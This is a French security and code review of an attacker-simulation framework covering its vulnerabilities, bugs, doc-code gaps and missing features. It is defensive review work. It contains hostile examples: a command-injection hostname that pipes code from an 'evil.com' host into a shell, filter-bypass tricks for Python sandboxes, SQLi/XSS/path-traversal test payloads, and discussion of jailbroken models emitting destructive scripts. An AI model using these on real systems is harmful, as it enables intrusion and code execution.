AttackSim — Revue de projet : bugs, vulnérabilités, features manquantes et illogismes métier
Revue consolidée du projet AttackSim (framework de simulation d'attaquants, 107 modules, Python 3.9+).
Périmètre : sécurité du framework lui-même, bugs/fiabilité, cohérence métier, couverture fonctionnelle.
Tests : 716/718 passent (2 échecs identifiés ci-dessous).
Le projet est globalement solide : 107 modules réels (pas des stubs), 101 CVE dans le feed offline, propagation multi-transport fonctionnelle, 10 providers cloud codés, 5 tiers d'intensité implémentés, corrélation de kill-chains réelle. Les points ci-dessous sont des axes d'amélioration ciblés.
Table des matières
1. Vulnérabilités (sécurité du framework)
Vulnérabilités du framework lui-même en tant qu'outil (pas les vulnérabilités qu'il détecte).
CRITICAL
V1 — Exécution de scripts LLM-générés sans validation
- Localisation :
triage.py:617-676
- CWE : CWE-94 (Code Injection) / CWE-20 (Improper Input Validation)
- Sévérité : CRITICAL
Description : _run_script_operator exécute le script complété par le LLM (_llm_complete_poc) puis édité par l'opérateur via subprocess.Popen([sys.executable, "-S", tmp_path]) sans aucune validation du code (pas d'appel à _validate_script, pas de resource.setrlimit, pas de chroot). Le flag -S ne supprime que site-packages ; l'env restreint ne bloque ni os.system, ni socket, ni subprocess internes. Un LLM compromis/jailbreaké ou un prompt injecté peut produire un script destructeur (rmtree, reverse shell, exfiltration) exécuté avec les privilèges de l'opérateur.
Code concerné :
proc = subprocess.Popen(
[sys.executable, "-S", tmp_path], # aucun preexec, aucune validation
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, env=restricted_env)
Recommandation : Appeler exploit_generator._validate_script(script) avant exécution ; appliquer les mêmes resource.setrlimit (NPROC=0, FSIZE=0, AS=256MB) que _run_script_sandboxed ; refuser l'exécution si le script échoue à la validation. Idéalement, exécuter dans un namespace/cgroup dédié.
V2 — smtp-antispam livre réellement des e-mails malgré son contrat de sécurité
- Localisation :
exploits/smtp_antispam.py:530-577 (bloc intrusive) vs exploits/smtp_antispam.py:34 (docstring) et docs/safety.md
- CWE : CWE-601 (Open Redirect) / DoS
- Sévérité : CRITICAL
Description : La docstring du module et docs/safety.md affirment : « No email is ever delivered. All tests stop at RCPT TO or issue RSET/QUIT before DATA. » Le bloc intrusive (lignes 530-577) fait l'inverse : après détection open-relay/spoof au niveau active, il ouvre une 2e connexion, envoie MAIL FROM:<ceo@target>, RCPT TO:<sectest-probe@sectest.local>, DATA, puis un message complet (Subject: sectest-antispam-probe\r\nFrom: ceo@target\r\n\r\nAuthorized security assessment.\r\n.\r\n) et ne lève un finding CRITICAL que si le serveur répond 2xx — c'est-à-dire si l'e-mail a effectivement été accepté pour livraison. Sur un vrai MTA, ce message est délivré/queueé, pas seulement accepté à l'enveloppe.
Impact :
- Le module peut envoyer un e-mail phishing-semblable (
From: ceo@<cible>) à un destinataire externe sur une cible de production — exactement le geste que le produit prétend interdire.
- Si l'opérateur se trompe de cible SMTP, il génère du spam réel avec son en-tête.
- Contradiction frontale avec la promesse centrale « read-only by default ». Ce bloc tourne à
--intensity intrusive (après --yes), mais la hiérarchie d'intensité ne code pas réellement la dangerousosité ici.
Recommandation :
- Soit supprimer la livraison DATA et rester à
RCPT TO+RSET (cohérent avec la docstring) ;
- Soit reclasser ce bloc en tier
proof (opt-in --prove-access), renommer en --prove-email-relay, exiger un destinataire opérateur-controlled (canary mailbox), et corriger la docstring + docs/safety.md.
HIGH
V3 — generate_llm_poc : code LLM retourné sans validation syntaxique ni contrôle d'imports
- Localisation :
exploits/exploit_generator.py:930-1009
- CWE : CWE-94 (Code Injection) / CWE-184 (Incomplete List of Disallowed Inputs)
- Sévérité : HIGH
Description : generate_llm_poc retourne le script brut après seulement retrait du fencing markdown. Aucune vérification de syntaxe (compile()), aucun contrôle d'imports réels. La validation regex _validate_script n'est appliquée qu'en aval dans execute_plans (ligne 1240) — or _llm_complete_poc (triage.py:801) appelle generate_llm_poc puis route le résultat vers _run_script_operator qui ne valide pas (cf. V1). Le chemin interactif contourne donc toute garde.
Code concerné :
script = re.sub(r"^```python\s*\n?", "", script.strip())
return script.strip() if script.strip() else None # aucun compile(), aucun AST check
_validate_script est une regex sur le texte source, trivialement contournable : getattr(os, "system")(...), __builtins__["eval"], import importlib; importlib.import_module("subprocess"), encodage en \x-escapes, chaînes par concaténation. Les patterns ne couvrent ni ctypes, ni socket (exfiltration), ni urllib (SSRF du scanner), ni pickle.loads.
Recommandation : compile(script, "<llm>", "exec") + ast.walk pour interdire Import hors stdlib ; interdire Call vers os.system/subprocess*/eval/exec/compile/__import__ y compris via getattr/__builtins__. Valider systématiquement avant tout retour/utilisation.
V4 — Injection de commande shell dans les relais (kubelet/k8s-api/ssh)
- Localisation :
sandbox/relay.py:465, 477, 566, 578, 828
- CWE : CWE-78 (OS Command Injection)
- Sévérité : HIGH
Description : sweep() utilise _safe_targets (correct), mais resolve(hostname) et http_probe(url) interpolent directement hostname/url dans une commande shell passée à _exec_cmd sans sanitization. Un hostname malveillant (ex: foo; curl evil.com | sh) ou une URL contenant des méta-caractères shell (;, `, $()) permet l'exécution de commandes arbitraires sur le foothold (kubelet/k8s-api/ssh). http_probe passe même l'URL entre simples quotes ('{url}') — insuffisant si l'URL contient '.
Code concerné :
result = self._exec_cmd(f"getent hosts {hostname} 2>/dev/null | head -1 | awk '{{print $1}}'")
...
result = self._exec_cmd(f"wget -q -S --spider -T {to} '{url}' 2>&1 | head -5")
Recommandation : Appliquer _HOST_RE à hostname dans resolve ; valider url via urlparse + rejeter tout caractère hors [A-Za-z0-9._:/?&=%-] ; utiliser shlex.quote pour toute interpolation shell.
V5 — Fuite de secrets dans les rapports (evidence/detail/location non masqués)
- Localisation :
report/reporter.py (tout le module — lignes 67, 105, 166, 219, 295, 504)
- CWE : CWE-532 (Insertion of Sensitive Information into Log File) / CWE-312
- Sévérité : HIGH
Description : Aucune fonction mask/redact n'existe dans report/. Les champs evidence, detail, location sont écrits en clair dans tous les formats : console, JSON (via to_dict), SARIF, HTML, Markdown, chaînes d'attaque. Un module qui capture un mot de passe opérateur, un token JWT, ou un secret application (ex: secret_scanner qui récolte des creds Kafka/Okta) le fait fuiter intégralement dans l'artefact de rapport, qui peut être archivé, commité ou partagé.
Code concerné :
print(f" {_c('DIM', 'evidence: ' + f.evidence, color)}") # aucune redaction
detail += f"\nEvidence: {f.evidence}" # SARIF — idem
Recommandation : Ajouter une couche de redaction appliquée à evidence/detail/location avant sérialisation : regex pour tokens AWS (AKIA[0-9A-Z]{16}), JWT (eyJ...), clés privées PEM, mots de passe dans URLs (user:pass@), etc. Marquer les findings de secret_scanner comme redacted=true.
V6 — export_for_propagation sérialise tous les SECTEST_* y compris les secrets
- Localisation :
config.py:976-983
- CWE : CWE-312 (Cleartext Storage of Sensitive Information) / CWE-922
- Sévérité : HIGH
Description : La fonction exporte toutes les variables d'environnement préfixées SECTEST_ sans filtrage. Si l'opérateur (ou un CI) définit SECTEST_NVD_API_KEY, SECTEST_SLACK_WEBHOOK, SECTEST_GITHUB_TOKEN, etc., ces secrets sont sérialisés en clair dans le dict propagé vers les footholds distants (via import_from_propagation), puis potentiellement journalisés ou déposés sur des machines compromises lors d'un pivot.
Code concerné :
for k, v in _os.environ.items():
if k.startswith("SECTEST_"):
export[k[8:]] = v # aucune allow-list / aucun masquage
Recommandation : Maintenir une allow-list explicite des clés propagables (ex: NVD_MIRROR, TIMEOUT_*) ; rejeter toute clé contenant KEY/TOKEN/SECRET/PASSWORD/WEBHOOK ; hasher ou omettre les valeurs sensibles.
MEDIUM
V7 — --keep-credentials désactive le guard sans traçabilité dans le rapport
- Localisation :
main.py:281-294
- CWE : CWE-778 (Insufficient Logging) / CWE-1188
- Sévérité : MEDIUM
Description : Quand --keep-credentials est passé, le guard est désactivé et seul un message stderr est imprimé. Aucune trace n'est inscrite dans le rapport JSON/SARIF/HTML/Markdown. Un run effectué avec credentials ambiants (AWS_PROFILE, KUBECONFIG) produit des résultats non reproductibles et potentiellement basés sur des creds, sans que l'artefact final l'atteste. En audit, cela rend impossible la distinction entre un run "credential-free" et un run "credentialed".
Recommandation : Injecter un champ credential_guard: "disabled" dans le payload JSON et une bannière dans le rapport HTML/Markdown ; faire échouer le gate() ou émettre un avertissement explicite.
V8 — credential_guard.self_test() incomplet
- Localisation :
sandbox/credential_guard.py:105-112
- CWE : CWE-696 (Incorrect Behavior Order)
- Sévérité : MEDIUM
Description : self_test() ne contrôle que les env vars résiduelles. Il ne vérifie pas que AWS_CONFIG_FILE/KUBECONFIG/DOCKER_CONFIG pointent bien vers /dev/null (un module aurait pu les réécrire entre scrub() et self_test()), ni que AWS_EC2_METADATA_DISABLED=true tient toujours. De plus, la liste _CRED_PREFIXES omet GOOGLE_APPLICATION_CREDENTIALS, AZURE_*, ARM_*, PGPASSWORD, MYSQL_PWD, LDAPRC.
Recommandation : Vérifier explicitement que os.environ["AWS_CONFIG_FILE"] == os.devnull (et idem pour les autres _REDIRECT_VARS) ; ajouter les préfixes manquants.
V9 — scope_guard.authorize() autorise tout hors-scope à intrusive+ sans allow-list
- Localisation :
sandbox/scope_guard.py:318-343
- CWE : CWE-285 (Improper Authorization) / CWE-639
- Sévérité : MEDIUM
Description : Au tier intrusive (et au-dessus), si la scope allow-list est vide, authorize() retourne (True, "intrusive+ confirmed; scope = target-derived"). Le "scope" est alors purement conceptuel (la cible déclarée), mais aucun contrôle runtime ne restreint les hôtes effectivement contactés par un module. Un module intrusive peut scanner ou deviner des identifiants sur n'importe quel hôte/IP atteignable, tant que l'opérateur a confirmé globalement via --yes. La confirmation initiale ne vaut que pour la cible nominale ; il n'y a pas de garde-fou par appel réseau.
Code concerné :
if self.empty:
return True, "intrusive+ confirmed; scope = target-derived (no allow-list restriction)"
Recommandation : Exiger au minimum que l'hôte cible du run soit ajouté automatiquement à la scope (scope auto-dérivée non vide) ; pour tout hôte différent de la cible, exiger une entrée explicite dans l'allow-list ou un prompt interactif par nouvelle destination.
2. Bugs & fiabilité
Tests : 716 passent, 2 échouent (confirmé par exécution).
HIGH
BUG-1 — _parse_host_port casse sur les URLs
- Localisation :
triage.py:524-535
- Sévérité : HIGH
Description : Pour location="http://victim.com:8080/x", rsplit(":",1) → ["http://victim.com", "8080/x"] → int("8080/x") → ValueError → fallback (location, 80) → le re-verify attaque http://victim.com:8080/x:80 (n'importe quoi). Cas très fréquent : les findings HTTP/Elasticsearch/etc. ont une URL en location.
Code concerné :
def _parse_host_port(location: str) -> Tuple[str, int]:
m = re.match(r"^\[([^\]]+)\]:(\d+)$", location)
if m: return ...
if ":" in location:
parts = location.rsplit(":", 1)
try: return parts[0], int(parts[1])
except (ValueError, IndexError): pass
return location, 80
Correction suggérée :
if "://" in location:
from urllib.parse import urlparse
u = urlparse(location)
return u.hostname or location, u.port or (443 if u.scheme=="https" else 80)
BUG-2 — DNS_TIMEOUT défini deux fois (code mort trompeur)
- Localisation :
config.py:379 et config.py:509
- Sévérité : HIGH
Description :
# ligne 379
DNS_TIMEOUT = 4
# ligne 509 (dans la section SMTP email posture)
DNS_TIMEOUT = _env("DNS_TIMEOUT", 5)
La seconde définition écrase la première. La première est une constante simple (valeur 4), la seconde est _env()-aware (override env var, valeur 5). Conséquence :
SECTEST_DNS_TIMEOUT=12 fonctionne (la 2e définition lit l'env).
- Mais la valeur par défaut effective est 5, pas 4 comme le suggère la ligne 379.
- La ligne 379 est du code mort qui induit en erreur un mainteneur.
Correction suggérée : Supprimer la ligne 379 (ou fusionner : DNS_TIMEOUT = _env("DNS_TIMEOUT", 4) une seule fois, et réutiliser).
MEDIUM
BUG-3 — _check_pkexec_pwnkit ignore le mock _is_suid (test en échec)
- Localisation :
exploits/privesc_exploit.py:458-461 + tests/test_onsite_modules.py:1069-1078
- Sévérité : MEDIUM (test en échec sur hôte sans pkexec SUID réel)
Description : Le test monkeypatch privesc_exploit._is_suid pour forcer True, mais _check_pkexec_pwnkit n'appelle pas _is_suid — elle fait directement os.stat(pkexec).st_mode & _stat.S_ISUID. Sur l'hôte de test, pkexec existe mais n'est pas SUID (ou n'existe pas), donc la fonction retourne [] et le test échoue.
Code concerné :
# privesc_exploit.py:458-461 — n'utilise PAS _is_suid
try:
import stat as _stat
if not (os.stat(pkexec).st_mode & _stat.S_ISUID):
return findings
Correction suggérée : Remplacer par if not _is_suid(pkexec): return findings pour réutiliser le helper mockable (cohérence avec les autres checks du module).
BUG-4 — test_unauth_probe_skip_when_unreachable échoue si un Redis local tourne (test en échec)
- Localisation :
tests/test_infra_modules.py:88-93
- Sévérité : MEDIUM (fiabilité du test suite, faux échec)
Description : Le test crée une cible host=127.0.0.1, port=1 avec t.ports=[6379] et suppose que rien ne répondra. Mais unauth_service_probe.run itère sur target.ports ([6379]), pas sur target.port (1). Or la machine de test a un Redis réel qui écoute sur 127.0.0.1:6379. Le module trouve donc un Redis non authentifié et renvoie exploited=True.
Correction suggérée : Utiliser un port non-standard guaranteed-free (ex. t.ports=[16379] avec un handler absent) ou mocker netutil.tcp_send_recv/_probe.
BUG-5 — _post_exploit_hook avale toute exception silencieusement
- Localisation :
main.py:838-841
- Sévérité : MEDIUM
Description : except Exception: pass — toute erreur de record_foothold (bug, exception réseau, KeyError) est masquée. Aucun log, aucun retour. Si le hook plante systématiquement, aucun pivot n'est jamais enregistré et l'opérateur ne le sait pas.
if getattr(result, "exploited", False):
try:
_post_exploit_hook(target, result)
except Exception:
pass
Correction suggérée : except Exception as exc: print(f"[!] post-exploit hook failed for {getattr(result,'name','?')}: {exc!r}", file=sys.stderr).
BUG-6 — resume.mark() thread-safe mais perte de résultat sur timeout + thread zombie
- Localisation :
main.py:866-877
- Sévérité : MEDIUM
Description : Dans le path ThreadPoolExecutor, sur TimeoutError, results[i] = None et le module continue de tourner en arrière-plan dans le thread pool. Le with block attend la fin de tous les futures à la sortie (shutdown implicite), donc le run peut bloquer jusqu'à la fin d'un module "zombi" bien au-delà du timeout de 600s. Le ThreadPoolExecutor ne peut pas tuer un thread Python.
Correction suggérée : Annuler explicitement les futures restants (for f in futmap: f.cancel()) et/ou documenter que les modules doivent honorer les timeouts.
BUG-7 — _run_script_operator : proc.kill() ne tue pas les enfants subprocess
- Localisation :
triage.py:655-658
- Sévérité : MEDIUM
Description : subprocess.Popen([sys.executable, "-S", tmp_path], ...) sans start_new_session=True. Sur timeout, proc.kill() tue le process Python mais pas ses éventuels children (subprocess du PoC). Des zombies / ProcessGroup non nettoyés.
Correction suggérée : Popen(..., start_new_session=True) + os.killpg(os.getpgid(proc.pid), signal.SIGKILL) sur timeout.
BUG-8 — resolve() : --email + --username/--password ignore l'email
- Localisation :
targets/model.py:435-476
- Sévérité : MEDIUM
Description : L'ordre de résolution est : local > cidr > repo > has_basic (username/password) > url > has_token > email > host_port. Si l'opérateur passe --email foo@x.com --username admin --password x, l'email est ignoré car has_basic est vrai → retourne un target CREDS sans SMTP. La doc prétend que --email est résolu en target SMTP.
Correction suggérée : Déplacer le check email avant has_basic, ou combiner (CREDS contre l'URL SMTP).
BUG-9 — _make_email_target : MX lookup buggé (ne résout jamais MX)
- Localisation :
targets/model.py:392-397
- Sévérité : MEDIUM
Description :
mx_records = socket.getaddrinfo(domain, 25, proto=socket.IPPROTO_TCP)
if mx_records:
smtp_host = domain # use the domain name (MX resolution happens at connect)
socket.getaddrinfo ne fait pas de MX lookup (c'est une résolution A/AAAA). Le commentaire "MX resolution happens at connect" est faux : à connect, socket.create_connection((domain, 25)) résout le A record, pas le MX. Donc pour un domaine dont le MX ≠ A record (très commun), le probe SMTP atteint le mauvais host.
Scénario : --email victim@gmail.com → probe gmail.com:25 (qui refuse) au lieu de gmail-smtp-in.l.google.com:25.
Correction suggérée : Utiliser un vrai MX lookup via dns.resolver (dépendance) ou un query DNS manuel, ou documenter que seul le A record est utilisé.
BUG-10 — _cve_id_from_finding : re.match au lieu de re.search
- Localisation :
triage.py:385
- Sévérité : MEDIUM
Description : re.match(r"(CVE-\d{4}-\d+)", str(ref)) — match ancre au début. Si une ref est "https://nvd.nist.gov/vuln/detail/CVE-2021-44228", match échoue (commence par https). Le CVE n'est pas détecté alors qu'il est présent.
Correction suggérée : re.search au lieu de re.match.
BUG-11 — --scope-file illisible → scope vide silencieusement → scan sans restriction
- Localisation :
sandbox/scope_guard.py:357-368
- Sévérité : MEDIUM
Description : Si le --scope-file n'existe pas ou est illisible, load_scope_file retourne [] silencieusement. from_specs([], intensity=intrusive) → guard empty → authorize retourne True pour tout. Un fichier de scope mal saisi désactive silencieusement le scope narrowing.
Scénario : --scope-file /typo/path → scope vide → scan intrusive sur tout le target-derived scope sans warning.
Correction suggérée : Logger l'erreur et/ou lever si le fichier est introuvable quand --scope-file est explicite.
BUG-12 — --only=typo,http-probe ignore typo sans warning
- Localisation :
exploits/registry.py:159-161
- Sévérité : MEDIUM
Description : by_names(wanted, pool) retourne [m for m in pool if name_of(m) in names]. Si --only=foo,bar,baz mais foo n'existe pas, selected contient juste bar,baz sans warning. L'opérateur croit que foo a tourné. Seul le cas "aucun match" est géré (main.py:580).
Correction suggérée : Comparer wanted vs {name_of(m) for m in selected} et logger les manquants.
BUG-13 — _parse_host_port sur IPv6 bare (sans []) → host tronqué
- Localisation :
triage.py:524-535
- Sévérité : MEDIUM
Description : location = "2001:db8::1:6379" → rsplit(":",1) → ["2001:db8::1", "6379"] → host = "2001:db8::1" (tronqué). IPv6 sans [] est mal interprété.
Correction suggérée : Même fix que BUG-1 + check ipaddress.ip_address.
BUG-14 — scope_guard._host_matches : DNS resolution dans le scope check (side-effect réseau)
- Localisation :
sandbox/scope_guard.py:271-283
- Sévérité : MEDIUM
Description : Si un hostname ne matche pas les hosts/domains mais qu'il y a des _networks (CIDR), le code fait socket.gethostbyname(host) → requête DNS réseau synchronisée dans le scope check. Cela :
- Ajoute de la latence (jusqu'à DNS_TIMEOUT) sur chaque authorize.
- Fait du scope guard un composant qui émet du trafic (contradiction avec "guard = safety").
- Peut échouer offline (CI) → host legit rejeté.
Correction suggérée : Rendre la résolution DNS optionnelle (flag) ou cacher avec TTL.
BUG-15 — _expand_subnet_spec : le sweep de subnet ignore le budget global
- Localisation :
main.py:1066
- Sévérité : MEDIUM
Description : Le sweep de subnet fait N TCP connects par host mais n'appelle pas target.budget.acquire() pour chaque probe. Le budget global GLOBAL_MAX_REQUESTS est contourné pour la découverte de subnet.
Correction suggérée : Passer le budget au relay ou incrémenter un compteur partagé.
BUG-16 — _run : échec d'écriture de l'artefact JSON ne change pas l'exit code
- Localisation :
main.py:1873-1886
- Sévérité : MEDIUM
Description : L'écriture des artefacts (JSON/Markdown/SARIF/HTML) est dans un try/except Exception qui logge [!] failed to write artifact mais ne change pas exit_code. Si l'artefact JSON (le principal) échoue, le run retourne 0 (succès) alors que le rapport n'existe pas. Pour un outil CI, c'est un faux succès.
Correction suggérée : Si args.json (default non-None) échoue, forcer exit_code = max(exit_code, 2).
BUG-17 — config.runtime_get ignore la coercition de type des env vars
- Localisation :
config.py:966-973
- Sévérité : MEDIUM
Description : runtime_get("HTTP_TIMEOUT") retourne la string brute de SECTEST_HTTP_TIMEOUT (ex. "12") au lieu d'un int, contrairement à _env() qui coerce. Un module qui fait config.runtime_get("HTTP_TIMEOUT", 8) et l'utilise comme int (time.sleep(x)) lève TypeError.
Correction suggérée : Faire runtime_get appeler _env pour coercition, ou typer l'overlay à l'écriture.
BUG-18 — config.import_from_propagation écrase sans validation
- Localisation :
config.py:986-989
- Sévérité : MEDIUM
Description : import_from_propagation(data) fait _RUNTIME_OVERLAY[k] = v pour tout k,v sans validation. Un parent malveillant/compromis peut injecter {"GLOBAL_MAX_REQUESTS": 999999999} → le scanner propagé ignore ses budgets. Contradiction avec le modèle "propagated instance inherits governance".
Correction suggérée : Allowlist des clés overridables, ou refuser les clés de budget/scope.
LOW
| # |
Localisation |
Description |
| BUG-19 |
main.py:866-877 |
_run_modules timeout → results[i]=None filtré sans trace qu'un module a timeout. |
| BUG-20 |
sandbox/oob_listener.py:82-86 |
OOBListener.stop() ne join pas le thread ni ne reset _thread=None → double stop = crash. |
| BUG-21 |
main.py:353,554,600,904,1037,1111,1307 |
7× __import__("config") au lieu d'import propre (masque erreurs statiques, lent). |
| BUG-22 |
triage.py:2292 vs report/reporter.py:357 |
_fingerprint triage ≠ _fingerprint_finding reporter → décisions non corrélables avec baseline. |
| BUG-23 |
targets/model.py:643-649 |
resolve_from_dict : int(port) peut lever ValueError non catché si port non-numérique dans le JSON. |
| BUG-24 |
main.py:624-632 |
_load_targets_file (legacy) forward args.jwt/api_key à chaque host:port — probablement pas voulu. |
| BUG-25 |
sandbox/oob_listener.py:123 |
parse_listen_spec : int(port or 0) lève si port non-numérique (--oob-listen host:abc). |
| BUG-26 |
report/reporter.py:197 |
_finding_id SARIF : cwe.replace("CWE-","") sur cwe vide → "0" → helpUri invalide. |
| BUG-27 |
exploits/registry.py:143 |
Doublons de noms non détectés au chargement du registry → resume-state les confond. |
| BUG-28 |
main.py:744 |
_confirm_scan path guard.requires_confirmation appelle input() sans guard EOFError (contrairement à _confirm_propagate). |
| BUG-29 |
main.py:1577 |
_infer_services_from_findings : svc["inferred"] = "true" (string) vs bool attendu. |
| BUG-30 |
main.py:998 |
_push_url_hostport_companion : flag _url_companion_pushed posé avant le check de scope. |
3. Illogismes métier & écarts docs-code
I1 — --propagate déploie le scanner sans appliquer le scope aux sous-réseaux découverts
- Sévérité : HIGH (safety-critical)
- Localisation :
sandbox/scope_guard.py:318-343, main.py:1272-1349 (_build_propagation_args)
Description : Le scope_guard v2 est "target-derived" : avec un allow-list vide à intrusive+, tout est autorisé car "confirmation obtenue via --yes". --propagate-script déploie le scanner dans un foothold et lui fait scanner le /24 du foothold (--host-subnet <derived /24>). L'instance propagée hérite du scope_guard du parent (même allow-list, probablement vide) — donc le scanner déployé dans un container d'un réseau interne 10.0.5.0/24 va scanner toute la /24 sans aucun scope check, parce que authorize() à allow-list vide retourne True. De plus, le --scope transmis au propagé est scope_guard.specs (ligne 1291) — mais ScopeGuard n'expose pas de .specs (c'est .hosts/.cidrs/.domains), donc l'héritage de scope échoue silencieusement.
Impact : Un opérateur qui cible 10.0.0.5 avec scope 10.0.0.0/24, obtient un foothold, propage → le scan interne du foothold peut atteindre 10.0.99.0/24 (production voisine) sans autorisation. La promesse "every peer is scope-checked" est vraie pour le scanner parent, fausse pour l'instance propagée.
Recommandation :
- Exposer
ScopeGuard.specs retournant la liste des tokens d'origine, ou sérialiser le guard dans le payload propagé.
- Dans
_build_propagation_args, toujours injecter --scope <foothold_subnet> (le /24 dérivé) comme borne minimale.
- Ajouter un test vérifiant qu'une instance propagée refuse de scanner hors du
/24 du foothold.
I2 — --keep-credentials contredit la promesse "No credentials"
- Sévérité : HIGH
- Localisation :
main.py:217-220, main.py:281-294
Description : Le README et docs/safety.md posent « No credentials » comme propriété fondamentale. Pourtant --keep-credentials désactive purement et simplement credential_guard.scrub() sans aucune contre-mesure : aucun audit, aucune journalisation dans le rapport, aucun self-test. L'opérateur peut lancer --keep-credentials --url ... et le scanner tourne en utilisant silencieusement ~/.aws/credentials, KUBECONFIG, ARGOCD_AUTH_TOKEN. Le message [*] credential guard DISABLED est imprimé sur stderr mais n'apparaît pas dans le rapport JSON/Markdown/HTML/SARIF.
Le guard devient opt-out au lieu d'opt-in — inversion du modèle de sécurité. Pour un usage red-team sur un foothold compromis, --keep-credentials est légitime, mais c'est exactement ce que --use-discovered-cloud-creds couvre déjà proprement (le guard reste actif, l'inventaire est in-memory) — --keep-credentials est donc un doublon dangereux.
Recommandation :
- Faire apparaître l'état du guard (activé/désactivé, nombre de vars neutralisées) dans le rapport JSON et dans le front-matter Markdown/HTML/SARIF.
- Renommer en
--dangerously-keep-credentials (naming cohérent avec --allow-remote-llm) et exiger --yes pour le valider.
- Idéalement supprimer
--keep-credentials et étendre --use-discovered-cloud-creds pour couvrir le cas légitime.
I3 — Proof-of-access crée des artefacts persistants sur production en cas d'erreur opérateur
- Sévérité : MEDIUM
- Localisation :
exploits/access_prover.py:19-22, 286-302, 329-346, 357-375
Description : La persistance est intentionnelle et documentée. Le problème métier : si l'opérateur se trompe de cible (typo d'IP, mauvais --host-port, staging ≠ prod), le scanner laisse sur la production : une clé Redis permanente, un index ES sectest-canary, une clé Memcached non-expirante, un fichier /tmp/sectest_proof_*.txt sur le host via bind-mount Docker, un ConfigMap K8s sectest-proof-*, voire un container Docker AutoRemove=False avec shell idle (PROVE_SHELL_TTL=3600). Aucun mécanisme de cleanup automatique n'existe (par design), et il n'y a pas de ledger de cleanup dans le rapport (le proof_ledger enregistre quoi a été créé, mais ne génère pas les commandes de suppression inverses pour chaque artefact — seul le proof cloud AWS/GCP/Azure inclut une commande de delete).
Recommandation :
- Ajouter au rapport JSON un bloc
cleanup_commands par artefact (ex. redis-cli DEL <key>, curl -XDELETE http://es:9200/sectest-canary, docker rm -f <cid>) — pas seulement pour le cloud.
- Proposer
--prove-access-ttl qui pose un TTL (ex. 1h) sur Redis/Memcached/ES/marker, avec opt-out --no-ttl pour le cas blue-team-verify.
- Refuser
--prove-access si la cible ne match pas un pattern opérateur-controlled, ou au minimum logger un warning bruyant quand le target n'a pas de --scope explicite.
I4 — SMTP_BOMB_TEST_COUNT=10 envoie 10 enveloppes en tier active (sans --yes)
- Sévérité : MEDIUM
- Localisation :
exploits/smtp_antispam.py:66, 155-211 (_test_rate_limit)
Description : 10 MAIL FROM+RCPT TO+RSET sur un MTA de prod : (1) déclenche potentiellement des alertes SIEM, (2) peut mettre l'IP du scanner sur une greylist pendant des heures. C'est active (pas intrusive) donc ça tourne sans --yes par défaut. L'opérateur croit faire un scan "actif mais bénin" et déclenche un incident mail-op.
Recommandation : Reclasser _test_rate_limit en intrusive (multi-request guessing = définition même du tier). Garder _test_spoof_filter/_test_backscatter en active (1 enveloppe = OK).
I5 — Modules on-site/physical dépendent de binaires système non documentés
- Sévérité : MEDIUM
- Localisation :
exploits/wifi_probe.py, bluetooth_probe.py, android_probe.py, ios_probe.py, router_probe.py, device_posture.py
Description : Le README annonce ces modules. Ils existent et ne sont pas des stubs, mais dépendent de binaires système rarement présents : nmcli/iwlist/iw/iwconfig (WiFi), bluetoothctl/hcitool/l2ping (BT), adb (Android), ideviceinfo/idevice_id/pymobiledevice3 (iOS). Sur un serveur Linux de CI/pentest standard, tous ces modules retournent tool_available=False. Le README ne mentionne pas cette dépendance runtime — un utilisateur qui lance --local sur un container sans nmcli obtient un INFO "tool not found" et croit que le module est cassé.
Recommandation : Ajouter à docs/local-introspection.md une matrice « module → binaire requis → cas d'usage ». Documenter que sur un container CI ces modules sont no-ops.
I6 — Exit code 1 par défaut sur "any module wins" trop sensible pour CI
- Sévérité : MEDIUM
- Localisation :
main.py:1859, docs/output-and-ci.md
Description : Par défaut (sans --fail-on), n'importe quel module exploited=True (y compris un INFO/MEDIUM de path-probe qui a trouvé un .git) fait sortir 1. En CI, un scan sur un repo où un fichier .gitignore existe fait échouer le pipeline. --fail-on atténue, mais le défaut est trop sensible pour un usage CI réel.
Recommandation : Changer le défaut de --fail-on à MEDIUM (ou HIGH) pour les cibles url/hostport ; garder "any" pour repo (sensé). Documenter ce défaut dans docs/output-and-ci.md.
4. Features manquantes
M1 — Pas de rate-limiting par hôte cible (uniquement global)
- Sévérité : HIGH
- Localisation :
sandbox/budget.py — RequestBudget a rate_limit global + max_requests + wall_budget, mais aucune clé par host.
Description : Sur un --cidr 10.0.0.0/24 (256 hôtes), le budget global (50 req/s par défaut) est réparti entre tous les modules concurrents sur tous les hôtes → un seul host populaire (ex. 10.0.0.5 avec 20 ports ouverts + HTTP) peut consommer tout le budget pendant que les 255 autres sont à peine touchés. Pour un pentest réel on veut 50 req/s par hôte avec un plafond global de 200. Les outils pro (nmap --rate, nuclei -rl, ffuf -rate) ont un rate par hôte.
Recommandation : Ajouter RequestBudget(rate_limit=..., per_host=True) ; dans _fanout_hostport/_run_modules créer un budget par host passé au target. Garder le global comme plafond.
M2 — Pas de détection de WAF/IPS pendant le scan actif
- Sévérité : HIGH
- Localisation :
exploits/waf_firewall_proof.py (preuve d'écriture, pas détection) ; aucun module ne détecte Cloudflare/Akamai/Imperva/F5 ASM/AWS WAF en mode défense pendant un scan.
Description : default-creds/content-discovery/fuzz-probe/sqli-confirm envoient leurs requêtes, reçoivent des 403/429 en masse, et le scanner rapporte "MITIGATED" ou fait du bruit sans réaliser que c'est un WAF qui bloque (pas l'app). L'opérateur lit un rapport trompeur ("tout est mitigated" alors que c'est le WAF qui parle).
Recommandation : Ajouter un module waf-detect (detective) : envoie 3 payloads malicieux canoniques (' OR 1=1--, <script>alert(1)</script>, ../../../etc/passwd) sur un paramètre inoffensif, compare les headers de réponse (Server, CF-Ray, X-Akamai-, X-Sucuri, Set-Cookie incap_sesi, page 403 custom) à un baseline de GET normal. Si WAF détecté : tagguer les findings des modules actifs avec waf-blocked et baisser leur confiance. Ajouter un champ waf_presence au rapport.
M3 — Pas de retry/backoff sur connexions échouées
- Sévérité : MEDIUM
- Localisation :
exploits/netutil.py — aucune logique de retry/backoff.
Description : Une connexion TCP en timeout ou un 502 transient → le module retourne error=... et le finding est perdu. Sur un scan de 256 hôtes, 5-10% des checks échouent sur du transient réseau sans retry. Pas de cohérence avec le Retry-After HTTP non plus.
Recommandation : Wrapper http_get/http_request/tcp_send_recv avec retry exponentiel (3 attempts, 0.5s/1s/2s) sur ConnectionResetError, timeout, 502/503/504. Honorer Retry-After si présent. Config NETUTIL_MAX_RETRIES=3.
M4 — Pas de support IPv6 réel dans les scans de netrange
- Sévérité : MEDIUM
- Localisation :
targets/model.py:277-319 (parse_hosts), sandbox/scope_guard.py (_host_of)
